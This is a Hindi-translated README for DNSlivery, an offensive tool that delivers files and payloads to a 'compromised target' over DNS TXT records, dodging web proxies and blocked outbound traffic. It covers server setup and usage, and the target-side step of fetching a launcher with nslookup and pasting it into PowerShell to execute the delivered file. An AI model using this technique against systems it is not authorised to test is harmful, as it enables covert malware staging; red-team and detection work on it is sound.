
DNS के माध्यम से आसान फ़ाइल और पेलोड डिलीवरी
DNS के माध्यम से आसान फ़ाइल और पेलोड डिलीवरी।
यह प्रोजेक्ट मूल रूप से PowerDNS और Paul's Security Weekly पॉडकास्ट #590 (youtu.be/CP6cIwFJswQ) में Joff Thyer के तकनीकी सेगमेंट से प्रेरित है।
DNSlivery DNS को ट्रांसपोर्ट प्रोटोकॉल के रूप में उपयोग करके टारगेट तक फ़ाइलें पहुंचाने की अनुमति देता है।
विशेषताएँ:

समझौता किए गए टारगेट पर फ़ाइलें और/या पेलोड आसानी से पहुंचाएं जहां क्लासिक वेब डिलीवरी संभव नहीं है और समर्पित क्लाइंट सॉफ़्टवेयर की आवश्यकता के बिना। यह प्रतिबंधित वातावरणों पर लागू होता है जहां आउटगोइंग वेब ट्रैफ़िक निषिद्ध है या किसी जिज्ञासु वेब प्रॉक्सी द्वारा निरीक्षण किया जाता है।

हालांकि अधिक संपूर्ण DNS टनलिंग टूल पहले से मौजूद हैं (जैसे dnscat2 और iodine), उन सभी को टारगेट पर एक समर्पित क्लाइंट चलाने की आवश्यकता होती है। समस्या यह है कि ऐसे प्रतिबंधित वातावरणों में क्लाइंट को पहुंचाने के लिए शायद DNS के अलावा कोई अन्य तरीका नहीं है। दूसरे शब्दों में, इन टूलों के साथ DNS संचार चैनल बनाने के लिए पहले से ही DNS संचार चैनल होना आवश्यक है।
तुलना में, DNSlivery केवल आपके सर्वर से टारगेट तक एकतरफा संचार प्रदान करता है लेकिन ऐसा करने के लिए किसी समर्पित क्लाइंट की आवश्यकता नहीं होती। इस प्रकार, यदि आपको DNS पर एक विश्वसनीय द्विदिश संचार चैनल बनाने की आवश्यकता है, तो अपने टारगेट तक अधिक उन्नत DNS टनलिंग टूल का क्लाइंट पहुंचाने के लिए DNSlivery का उपयोग करें।
अधिकांश DNS टनलिंग टूलों की तरह, DNSlivery फ़ाइलों की सामग्री को उनके base64 प्रतिनिधित्व में संग्रहीत करने के लिए TXT रिकॉर्ड का उपयोग करता है। हालांकि, काम करने के लिए इसे पूर्ण DNS सर्वर स्थापित करने की आवश्यकता नहीं होती। इसके बजाय, यह आने वाले DNS पैकेटों को सुनने और वांछित प्रतिक्रिया तैयार करने के लिए scapy लाइब्रेरी का उपयोग करता है।

चूंकि अधिकांश फ़ाइलें एक एकल TXT रिकॉर्ड में फिट नहीं होतीं, DNSlivery फ़ाइल के base64 चंक्स युक्त कई क्रमबद्ध रिकॉर्ड बनाएगा। उदाहरण के रूप में, उपरोक्त आरेख file नामक फ़ाइल के 42वें चंक की डिलीवरी को दर्शाता है।
टारगेट पर समर्पित क्लाइंट की आवश्यकता के बिना सभी base64 चंक्स को पुनः प्राप्त करने और उन्हें वापस जोड़ने के लिए, DNSlivery प्रत्येक फ़ाइल के लिए उत्पन्न करेगा:

यह दो-चरणीय डिलीवरी प्रक्रिया स्टेजर में सुविधाएँ जोड़ने के लिए आवश्यक है (जैसे खोए हुए DNS प्रतिक्रियाओं को संभालना) जो अन्यथा एक एकल TXT रिकॉर्ड में फिट नहीं होंगी।
वर्तमान में, केवल PowerShell टारगेट समर्थित हैं। हालांकि, DNSlivery को bash या python जैसे अतिरिक्त टारगेट का समर्थन करने के लिए बेहतर बनाया जा सकता है। कृपया मुझे @no0be पर बताएं यदि यह एक ऐसी सुविधा है जिसे आप लागू होते देखना चाहेंगे।
DNSlivery को जटिल सर्वर इंफ्रास्ट्रक्चर बनाने की आवश्यकता नहीं होती। वास्तव में, केवल दो सरल आवश्यकताएँ हैं:
NS रिकॉर्ड बनाने में सक्षम होनाudp/53 ट्रैफ़िक प्राप्त करने में सक्षम Linux सर्वर होनापहला कदम अपने डोमेन में एक नया NS रिकॉर्ड बनाकर DNSlivery चलाने वाले सर्वर को एक सब-डोमेन सौंपना है। उदाहरण के रूप में, मैंने vps.no0.be पर सर्वर को सब-डोमेन dnsd.no0.be सौंपने के लिए निम्नलिखित रिकॉर्ड बनाया।
dnsd IN NS vps.no0.be.
यदि आपका ज़ोन किसी तृतीय-पक्ष प्रदाता द्वारा प्रबंधित है, तो NS रिकॉर्ड बनाने के लिए उनके दस्तावेज़ीकरण का संदर्भ लें।
DNSlivery चलाने के लिए केवल python3 और इसकी scapy लाइब्रेरी की आवश्यकता होती है।
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
DNSlivery किसी दिए गए निर्देशिका की सभी फ़ाइलों को सर्व करेगा (डिफ़ॉल्ट रूप से pwd) और आने वाले udp/53 पैकेटों को सुनने के लिए रूट विशेषाधिकारों के साथ चलाने की आवश्यकता होती है।
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Easy files and payloads delivery over DNS
positional arguments:
interface interface to listen to DNS traffic
domain FQDN name of the DNS zone
nameserver FQDN name of the server running DNSlivery
optional arguments:
-h, --help show this help message and exit
-p PATH, --path PATH path of directory to serve over DNS (default: pwd)
-s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
-v, --verbose increase verbosity
उदाहरण:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Easy files and payloads delivery over DNS
[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...
चूंकि डोमेन नामों के लिए अनुमत कैरेक्टर सेट UNIX फ़ाइलनामों की तुलना में अधिक प्रतिबंधात्मक है (प्रति RFC1035), DNSlivery आवश्यकता पड़ने पर सामान्यीकरण करेगा।
उदाहरण:
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
ध्यान रखें कि वर्तमान सामान्यीकरण कोड परिपूर्ण नहीं है क्योंकि यह ओवरलैपिंग फ़ाइलनामों या आकार सीमा को ध्यान में नहीं रखता।
टारगेट पर, वांछित फ़ाइल के समर्पित TXT रिकॉर्ड का अनुरोध करके लॉन्चर को पुनः प्राप्त करके शुरू करें। निम्नलिखित तीन लॉन्चर समर्थित हैं:
nslookup -type=txt [filename].[stager].[domain]
फिर, टारगेट पर फ़ाइल पुनः प्राप्त करने के लिए DNS प्रतिक्रिया में उद्धृत लॉन्चर को कॉपी करके PowerShell कंसोल में पेस्ट करें।
उदाहरण:

| Action | Launcher | Description |
|---|
[filename].print.[domain] | (Default) Print the delivered file to the console | |
| Execute | [filename].exec.[domain] | Execute the delivered file (useful for scripts) |
| Save | [filename].save.[domain] | Save the delivered file to disk (useful for binaries) |